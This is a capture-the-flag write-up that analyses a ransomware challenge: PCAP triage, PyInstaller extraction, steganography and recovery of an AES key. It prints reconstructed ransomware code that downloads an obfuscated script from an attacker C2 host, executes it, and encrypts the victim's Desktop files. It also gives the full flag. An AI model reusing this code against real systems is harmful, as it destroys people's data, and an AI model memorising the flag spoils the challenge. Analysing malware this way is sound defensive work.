Challenge
Here's the order: [Staff A, who works at a security company, executed an update file received through the company's internal email and became infected with ransomware. Analyse the attached PCAP file, decrypt the encrypted files, and submit the FLAG. Received from Headqu__ters]
1 = The attackers email address 2 = The value inside the decrypted files
Flag format : CDDC2026{1_2}
Provided files:
Find The Key.pcap(~40 MB)Key.hwj(12,032 bytes — encrypted file)
Step 1 — PCAP Triage
Using scapy to enumerate hosts and HTTP requests:
| Host | Role |
|---|---|
192.168.50.103:8888 |
Internal webmail (Flask/Werkzeug) |
15.230.15.3:8080 |
Attacker site — phishing landing + key C2 |
120.1.38.33:8080 |
Attacker C2 — malware download + cover traffic |
Key URLs observed:
POST /login (webmail auth)
GET /inbox?email=victim@a-security.com
GET /mail/1 (the phishing email)
GET /download on 120.1.38.33 → a-security_update.exe (14 MB)
GET /assets/wallpaper on 15.230.15.3 → ransom.png (PNG)
GET /s on 120.1.38.33 → XOR-obfuscated JS
GET /api/v1/lah, /lilac on 15.230.15.3 → noise
GET /api/v1/cbcmo, /defin, /dthea, /eskey on 120.1.38.33 → noise
The "noise" endpoints return base64 fragments that reassemble to:
"Every step matters, even those behind us."
Phishing email recovered
/mail/1 rendered HTML — the From header inside the PCAP:
From: arthur@a-security.com
Subject: [IT Notice] Mandatory Security Software Installation
Link: http://15.230.15.3:8080/ [ Install Security Software ]
That arthur@a-security.com is the only attacker email visible inside the PCAP itself — the email used to deliver the payload through the internal mail system.
Ransom wallpaper
/assets/wallpaper returns a PNG ransom note that also contains RECOVERYHELP@XYZMAIL.COM. This is a secondary contact only present in image data (not in the PCAP frames), and is not what the challenge wants.
Step 2 — Extract the Malware
The downloaded a-security_update.exe is a PyInstaller 2.1+ bundle, Python 3.10.
pip install pyinstxtractor-ng
python -m pyinstxtractor_ng a-security_update.exe
The entry-point script app fails to decompress (zlib: incorrect header check). The TOC entry positions in this build are off by 7 bytes — likely an intentional anti-analysis trick.
Brute-force scan for zlib headers near the reported offsets reveals the real positions:
| Script | TOC says | Actually at | Δ |
|---|---|---|---|
pyiboot01_bootstrap |
359751 | 359744 | −7 |
pyi_rth_inspect |
360346 | 360339 | −7 |
app |
361218 | 361211 | −7 |
After correcting, zlib.decompress succeeds and we write a valid .pyc (prepending the Python 3.10 magic header 6f 0d 0d 0a + 12 zero bytes).
Step 3 — Reverse the app.pyc
Disassembled with xdis. Reconstructed logic:
import os, time, ctypes, requests, json, execjs
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from PIL import Image
C2_BASE = "http://15.230.15.3:8080"
C2_BASE2 = "http://120.1.38.33:8080"
WALLPAPER_LOCAL = os.path.join(os.environ.get("TEMP", "C:\\Temp"), "ransome.png")
def extract_lsb(png_path, length):
img = Image.open(png_path).convert("RGB")
pixels = list(img.getdata()) # list of (R,G,B)
bits = [pixels[i][0] & 1 for i in range(length * 8)]
out = bytearray()
for i in range(0, len(bits), 8):
b = 0
for bit in bits[i:i+8]:
b = (b << 1) | bit
out.append(b)
return bytes(out)
def crypto():
xor_key = extract_lsb(WALLPAPER_LOCAL, length=1)[0] # one byte from PNG LSB
raw = requests.get(C2_BASE2 + "/s", timeout=5).content
js = bytes(b ^ xor_key for b in raw).decode("utf-8")
cfg = execjs.compile(js).call("_0x2f91")
aes_key, aes_iv, p_code = cfg["key"].encode(), cfg["iv"].encode(), cfg["padding"].encode()
# p_code must == b"987" (PKCS7)
for root, _, files in os.walk(os.path.join(os.environ.get("USERPROFILE",""), "Desktop")):
for f in files:
if f.endswith(".hwj"):
continue
secure_encrypt_file(os.path.join(root, f), aes_key, aes_iv, p_code)
def secure_encrypt_file(path, key, iv, p_code):
if p_code != b"987":
raise ValueError(...)
cipher = AES.new(key, AES.MODE_CBC, iv)
# streams 64 KiB chunks; pads final chunk with PKCS7
... # writes <basename>.hwj, removes original
So the encryption is AES-256-CBC, PKCS#7, with key + IV obtained by:
- extract a single byte from the LSB of the PNG (R-channel of first 8 pixels, MSB-first)
- XOR the
/sresponse by that byte to recover JavaScript - execute the JS function
_0x2f91()→{key, iv, padding}
Step 4 — Recover Key & IV
4a. LSB byte from ransom.png
First 8 pixel R values: 6, 4, 7, 6, 5, 6, 9, 6 → LSBs 0,0,1,0,1,0,1,0 → byte 0x2A (*).
4b. Decoded JavaScript (/s XOR'd with 0x2A)
var _0xf3a1 = (function() {
var _0x4e2d = [], _0x1a9b = [97..122 with m/n & M/N swapped, 65..90, 48..57];
for (var i = 0; i < _0x1a9b.length; i++) _0x4e2d[i] = String.fromCharCode(_0x1a9b[i]);
return _0x4e2d;
})();
// alphabet: abcdefghijkl n m opqrstuvwxyz ABCDEFGHIJKL N M OPQRSTUVWXYZ 0..9
var _0x2f91 = function() {
var key = build(_0xf3a1, c1+c2+c3+c4); // 32 chars
var iv = build(_0xf3a1, v1+v2); // 16 chars
var padding = build(_0xf3a1, [0x3d,0x3c,0x3b]); // "987"
return {key, iv, padding};
};
Evaluating the index arrays against the alphabet yields:
key = 0bnYrd8jzHhQtf3vaNl9DeVoi1ucJ6qS (32 bytes)
iv = k3cStiFawo7fLnuW (16 bytes)
padding = 987 (PKCS7)
Step 5 — Decrypt Key.hwj
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
key = b"0bnYrd8jzHhQtf3vaNl9DeVoi1ucJ6qS"
iv = b"k3cStiFawo7fLnuW"
ct = open("Key.hwj", "rb").read() # 12,032 bytes
pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
open("Key.pdf", "wb").write(pt) # 12,019 bytes → %PDF-1.7
The result is a PDF with a single page whose only content stream draws vector glyphs (no text operators, so pdfminer returns nothing). Rendering with PyMuPDF reveals the secret string:
ON3_TRUTH_PR3V@I1$
(Leet for ONE_TRUTH_PREVAILS — a Detective Conan reference, fitting the Korean-style .hwj extension.)
Flag
CDDC2026{arthur@a-security.com_ON3_TRUTH_PR3V@I1$}
Part 1 = the attacker's email as it appears in the PCAP (sender of the phishing mail). Part 2 = the string rendered inside the decrypted PDF.
Lessons / Tricks Used
- Off-by-7 TOC poisoning in PyInstaller — extractors fail silently; a zlib header scan around the expected offset recovers everything.
- Steganography in the ransom note — the PNG isn't decoration; its R-channel LSBs are the XOR key for the next stage.
- JS-as-config — final AES key/IV are produced by indexing an obfuscated alphabet inside a
execjs-evaluated JavaScript blob, defeating naivestringsanalysis. - Cover-channel noise —
/api/v1/{cbcmo,defin,dthea,eskey}pluslah/lilacreturn distractor data designed to lure analysts (lilac=32-byte "key", lah=24-byte "key", etc.). The real keys are not on the wire — they're synthesized client-side from the PNG + JS.